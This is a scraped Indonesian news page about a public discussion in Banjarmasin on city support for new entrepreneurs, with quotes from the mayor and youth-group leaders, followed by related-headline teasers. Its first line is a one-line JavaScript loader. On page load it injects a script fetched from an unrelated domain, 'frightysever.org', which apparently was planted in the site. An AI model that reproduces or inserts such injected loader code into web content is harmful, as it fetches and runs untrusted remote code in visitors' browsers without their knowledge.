(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Ruang gerak pelaku kreatif wirausaha baru di kota Banjarmasin harus dibuat lebih luas. Didukung kebijakan pemerintah kota Banjarmasin mengembangkan para pelaku wirausaha kreatif, salah satunya dengan membuatkan komunitas atau jejaring pemasaran produk mereka.
Bahasan itu terungkap saat diskusi publik bertajuk “Menakar Capaian Keberhasilan Walilota Banjarmasin Menjelang Hari Jadi Kota Banjarmasin ke-493†yang digelar KOPI (Kolaborasi Pemuda Indonesia). Hadir sebagai narasumber, Walikota Banjarmasin Ibnu Sina, Sri Hidayah dari MHM Official, dan Ketua KOPI Kalsel Barbital Windy Prasetyo yang berlangsung di Plaza Smart City, Menara Pandang Banjarmasin.
Sri Hidayah menyebut, pemerintah kota harus memperluas ruang gerak bagi pelaku kreatif wirausaha baru. Menurutnya, KOPI sendiri bisa menjadi sebuah sosok baru penggerak anak muda untuk lebih bergerak dalam wirausaha baru.
Sementara itu, Ibnu Sina mengklaim, selama masa jabatannya hingga saat ini telah terdaftar 2.017 wirausaha. Namun harus diakui tingkat keberhasilan wirausaha baru tentu bervariatif, dikarenakan deviasi yang tinggi.
“Sehingga yang masih eksis hingga sekarang ada 1000 orang. Angka tersebut masih kembali diseleksi hingga akhirnya yang dianggap sebagai wirausaha baru unggulan mencapai angka 100,†akunya.
Ibnu menyebut yang dicapi itu adalah sebuah ekosistem. Tidak hanya dengan KOPI, tapi dengan seluruh pihak agar bisa tercipta wirausaha baru tangguh. “Tidak bisa sendiri, semua harus bersatu baik dari pemerintah, masyarakat, pelaku, UMKM, hingga aspek pemasaran,†terangnya.
Dilain pihak, Ketua KOPI Kalsel Windy mengaku siap jika harus berkolaborasi dengan pemerintah kota membangun wirausaha baru. Ia mengatakan, perlu untuk memaksimalkan semuanya, mulai dari KOPI sendiri, anak muda yang ada di UKP (Unit Kegiatan Pemuda) lainnya bersama-sama bersinergi. Sehingga bisa mematangkan perekonomian di Banjarmasin.
Windy sendiri mengaku, sudah merasakan peran pemerintah hingga saat ini.
Di KOPI sendiri ada 20 orang yang telah berhasil menjadi wirausaha baru. “Kita sekarang sudah merasakannya, tinggal individunya saja lagi,†pungkasnya. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.